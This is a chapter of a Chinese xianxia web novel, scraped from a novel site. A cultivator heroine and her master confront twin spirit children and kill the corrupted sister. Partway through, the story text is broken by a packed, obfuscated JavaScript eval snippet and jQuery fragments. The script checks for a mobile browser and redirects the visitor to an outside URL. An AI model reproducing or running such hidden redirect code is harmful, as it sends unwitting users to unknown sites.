文趣网 > 其他小说 > 师尊何故如此 > 5. 白水素女(四)
    人在死前会最后呼出一口浊气,称为殃气。其中混合了亡者的死气、阴气、怨气、秽气,凝而不散,遇明火则迸发恶臭。生人触及,轻则精神萎靡疾病缠身,重则横祸加身性命不保,故而多有“遭殃”一说。然此殃气,于某些修习旁门左道的人而言,实为大补。灵枢子能存灵,自然也就能存其他。如今便是有人借着灵枢子大开杀戒,收集殃气以供己用。

    君红笺了然:“也不知是哪个缺了大德的,好好一个灵枢子就这么被祸害了。”

    村口那股令人作呕的味道,想来是殃气泄露是不巧又遇到白玉京弟子以符箓引明火,直接炸了个臭气漫天。

    说话间,两人追着寻迹阵就到了桃溪村后山深处的某个洞口外。

    那洞隐在山林间,恍惚还真有些看不着,洞口爬满了青苔,绿油油的盖在石崖下。打眼一瞧洞口上还挂了一排拳头大的铜绿铃铛。

    看见这铃铛,君红笺就觉得脑袋嗡嗡作响。响起村口那一阵铃声恼人,她气不打一处来,叉着腰站在洞口外喊道:“给你个机会自己出来!”

    如此门前示威的行为,作为自诩“天河神女”的白水素女却好似怯场了一般,也只是招了点山风,惹得铜铃当啷,伴着一声:“离开!”

    “又撵人走?”君红笺乐了,“今日第几次了?好歹有些待客之道吧?”

    洞内悄无声息。

    “不出来是吧!”君红笺撸起袖子,又喊一声:“那我可要使手段了!”

    她拍拍雁南归,“师尊,再叫白水素女瞧瞧你的铁手。”

    “......嗯。”雁南归依旧五指成爪,抬手就从洞里吸了个人出来。

    十二三岁的孩童模样,穿得破破烂烂,脖子上却挂了个明晃晃的金项圈。被雁南归揪着后颈拎在手里,两条腿胡蹬乱踹,挣扎叫喊着:“放开我!”

    君红笺愣住了,扯着孩童挂着肉的小脸,难以接受:“你?白水素女??”

    “怎么啦!”孩童拍打着她的手,脑袋拼了命地往后缩:“知道吾乃白水素女还不放尊重些!”

    “不是姐姐不信你,且不说你毛都没长齐就跑出来吓唬人,甚至——”君红笺尴尬一笑,松了手后退半步打量,“长得再秀气也不能厚着脸说自己是个小姑娘吧?!”

    白不白素不素的,明明就是个乳臭未干的小子。

    这次离近了看得仔细,君红笺捏着下巴“嘶”了声,心道:怎么觉得好像在哪儿见过。

    她板着脸装得凶神恶煞:“老实交代叫什么,从哪儿来打哪儿去?谁教你这么干的?不老老实实做田螺,跑到桃溪村吃人?再小也开了灵智了吧,惹上业障还不乖乖听话,当心姐姐敲碎你的螺壳!”

    “什么田螺!吾乃白水素女!”孩童张牙舞爪下还带了点心虚,道:“吾名逢生,我......吾是为了灵泉才来的,吃人也是因为......因为......”

    逢生憋得小脸通红,于是脑袋一撇,丢了句:“吾不要跟你们解释!”

    听到他名叫逢生,君红笺顿时想起来了,若无其事地扫了一眼雁南归。飞升前虽说对静尘居不甚了解,但她记得清楚,那时雁南归身边有个贼头贼脑的小娃娃,总躲在角落里偷看她。君红笺逮到过几次,可每次视线将将撞上,小娃娃就一溜烟地跑了。

    原来就是打这儿捡回去的。

    君红笺还想问些什么,刚一开口就阴风阵阵,直接被灌了透心凉。她弯腰扶着膝盖“呸呸”两声,抬头就看见又从山洞里钻出来一个。

    黑袍褴褛,兜帽被风扬起,露出半张脸,与逢生几乎一模一样,但相较逢生却更添精致。

    这就对了嘛。

    君红笺恍然大悟,指着逢生道:“你是白水。”又指另一个:“她是素女。”她啧啧感叹,“你家祖先若知晓了,定是要羞得胡子都红了。好端端一个装腔作势的名头,可叫你们玩坏了。”

    难怪昼夜相差这么大,原来是一对双生子。

    “素女”宛如一节枯木,很是卡顿地扭着脖子,开口说话也是磕磕绊绊:“放、开。”

    随着她脖子越扭越惊悚,耳朵几乎要贴着肩,只怕她稍不留神脑袋就要滚下来。兜帽彻底落下,那张与逢生极为相似的脸上青白一片,眼眶里满满当当塞着黑漆漆的眼珠。

    她嘶嚎着就朝两人攻来,雁南归躲也不躲,反手就捏着逢生挡在了她面前。

    不出所料的,她停住了。

    可见这“素女”即便是不知何故开始吃人,到底还是没有彻底失智,眼见逢生遇难强撑着也要迎战,自然也怕稍不留神伤到他。

    君红笺心里感叹雁南归够阴够损够果决,手上捏诀唤出踏霜,提剑就刺了过去。

    这一番举措确实让“素女”有片刻停顿,但也确实将她激怒了彻底。

    她以掌作刃狠劈向雁南归手臂,雁南归单手拎着逢生移开,又一手凭空捻出剑气,贴着“素女”的脸就挥了出去,竟叫反应速度快到离奇的“素女”避无可避,硬生生受了这一招。君红笺立在一旁,亲眼看着“素女”身形不动,脑袋却被扇了个转,脖颈似枯藤般拧绕,引得逢生尖声叫喊。君红笺边赞叹雁南归当真实力高深莫测,边恨不得掏笔出来记录这场现场教学。

    “咔咔”两声,“素女”艰难将自己的头转回原样。

    她倒很是机敏,见不敌雁南归,当即调转目标转向君红笺。她曲起骇人的长甲,侧身避开雁南归,鬼魅一般闪身至君红笺面前,宛如干柴的手臂反折出诡异的角度,直冲君红笺面门袭来。“铛”的一声,长甲抵在了皎皎白芒的踏霜剑身上,震得两方皆是手麻。

    踏霜剑后,是一双狡黠黑眸弯弯带笑。

    君红笺挑眉道:“上品灵剑,质量极佳,你值得拥有。”

    被挡住的“素女”发出一声低声嘶嚎,完全没留意到身后雁南归脚步微动,像拎着逢生那样悄无声息地掐住了“素女”的脖子。

    无需雁南归提醒,君红笺立马抓住时机,提剑就刺了过去。

    一击即中,正对心口。

    剑身不带灵气,没入“素女”胸膛,强势搅碎了她心口凝起的丹核,而后犹似朽木再难动弹,只看向逢生时喉中隐隐作声。

    大抵是说:“跑。”

    “怜生!”逢生尖叫撕咬着雁南归,手脚口并用挣脱了束缚,连滚带爬着扑了过去。怜生仰面倒下,枕着枯枝尘泥“嗬嗬”难言,那双骇人的眼瞳追着逢生,看他惊慌失措,看他迷茫无助,最后在水汽模糊间看他向人求饶:“不要、不要杀掉怜生,求求你们了......求求你们......”

    君红笺收了剑,敛下神色走过去蹲在他跟前,语气平缓道:“她叫怜生对吗?抱歉,她害了太多人,所以她不能活。”

    村民所言,白日的逢生不曾作恶,那便姑且不取他性命。

    逢生哭得不能自已,君红笺又道:“可以告诉姐姐吗,你们为什么来这里?以及在桃溪村,你也害人了吗?”

    他哭了很久,久到嗓子都沙哑干涩,像一个水捏的娃娃,有掉不完的金豆豆。自始至终君红笺都蹲在他身旁,安静陪他发泄,雁南归站在后头,垂眸看她爱怜备至。

    许久,逢生抽泣着问:“怜生是坏人吗?”

    君红笺反问:“逢生觉得她是吗?”

    逢生胡乱抹了把眼泪,道:“怜生不是坏人,怜生保护我,不许任何人欺负我,怜生一直都很温柔。可是......”他终究还没忍住,眼泪汩汩往外涌,“突然有一天怜生就变了,她变得不好看了,变得凶巴巴的。”

    他对君红笺说:“灵泉有灵气,我要把怜生变回去,我要带怜生回家。”

    “可是灵泉没有用,对吗?”君红笺轻柔接话:“逢生也不知道为什么,所以才在桃溪村扮成坏人,想要吓跑村民,是不是?”

    逢生点头,眼泪砸在怜生身上,他委屈地攥紧了怜生的手,“我没有害人,我也不想怜生害人。”

    君红笺道:“逢生辛苦了。”

    起身,她回到雁南归身边,背对着逢生叹了口气。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563858|204642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她向来信奉,驱魔除妖无谓其他,只因他们吃人害人。桃溪村若干条人命,白玉京死伤的弟子,这些罪孽到底是落在了怜生头上。前因既定,她随雁南归来到此处,应了村民的请求,便是事件中必现的结果。

    可还是那句话,有人缺了大德。灵枢子本就性情温良,何况是心智还未成熟的孩童。

    她整理好情绪,转头就见雁南归的手悬在半空,似乎想要安抚她,却在她看过来时猛地收回。她问道:“师尊,逢生之后要怎么办?”

    雁南归问:“你信他?”

    君红笺答:“我信师尊。”

    两相对视,雁南归狼狈移开目光。眼前怜生散了灵,徒留逢生泣不成声。他道:“带回静尘居吧。”

    她说她信,不是没有缘由的。静尘居里,他见青苗如见世人,那个裹着欺世盗祖外衣的雁南归,眼里的无波无澜是将自己埋在厚土之下,透过缝隙看青苗茁壮成长。

    无论是上一世还是这一世,他都会带逢生回去。

    纵使她与雁南归是怎样的陌路师徒,她看雁南归,亦如逢生看怜生——眼前人不是坏人。

    于是她点头,身心俱泰地展露笑颜。

    灵枢子消,山林悲鸣。月夜下伴着点点荧光,清风徐徐,吹开了四周狼藉,捧着怜生揉进了寂静的山野间。山神将自己的孩子带回去了。

    君红笺歪着脑袋看身边人,说道:“师尊,你低一低头。”

    雁南归不问为何,依言垂首。

    风过叶落,君红笺拿掉他头顶那片残叶,在朦胧月色下仰面望去。避无可避时,他狭长寡欲的一双眼中闪过慌乱,细看才知他眉尾有颗不起眼的小痣,在鬓发间若隐若现,平白惹人心头瘙痒。

    离得太近,他身上崖柏的气味袭面而来,君红笺莫名心慌甚至有些紧张。

    奇怪得很。

    “怜生!”

    逢生忽然叫嚷,君红笺闻声去看,就见怜生散灵后倏地凝成一团殃气,而后炸裂。雁南归背对着来不及反应,君红笺捻着残叶的手还未放下,下意识就摊开掌心挡住袭面而来的殃气。

    片刻后,风停树止。雁南归将君红笺拢在怀中,反倒叫尘与叶落了他满身。

    他顾不上抖落一身杂乱,扯了君红笺的手来瞧,带着薄茧的白皙手心上,赫然留下道墨色印记。

    坏了。

    君红笺不免又是一阵头痛,临了临了给自己留道祟印。

    所谓祟印,就是祟、殃一类的气刻在皮肤上留下的印记,不见得有多危害性,却很是烦人。无他,祟印与寻迹阵一样,是甩不掉的尾巴。

    那个将怜生炼成邪祟的王八羔子,如今倒是盯上自己了,打上了印记势必要追到天涯海角。君红笺舔着后槽牙暗骂:狗舔大的胆子,桃溪村的账还没算完,又将歪门邪道打到她头上来了。

    雁南归拧着眉道:“先回白玉京。”

    说完,一手拉着君红笺手腕,一手拎着逢生衣领就往山下赶。

    还未至山脚,就瞧见不远处火把闪烁,走近了竟是大胡子一行人,扛着锄头镰刀互相打着气就跟三人碰了个照面。

    尽管村民并不知晓白水素女的长相,可逢生想起怜生做的事情,也不知是羞愧还是心虚,缩着脑袋就躲到了君红笺身后。

    “大叔,你们怎么来了?”君红笺踮着脚张望,白日村口那一堆竟然都来了,她讶然:“你们这是......”

    大胡子道:“仙君,我们商量好了,信你们本领高强,也想为自己博一次,大家伙都是来帮忙的!”

    身后众人附和,士气很是高涨。

    君红笺干笑:“不必了大叔,我们都解决了。”

    “果、果真吗?”

    “那当然了,我可是打过包票的。”君红笺拍着胸脯道:“寒天寒地不能寒了大家伙的心嘛,说了无往不利,那必然......”

    话语戛然而止,向来做了事就要领赏的君红笺,这次没等到大家伙的吹捧,两眼一黑就晕了过去。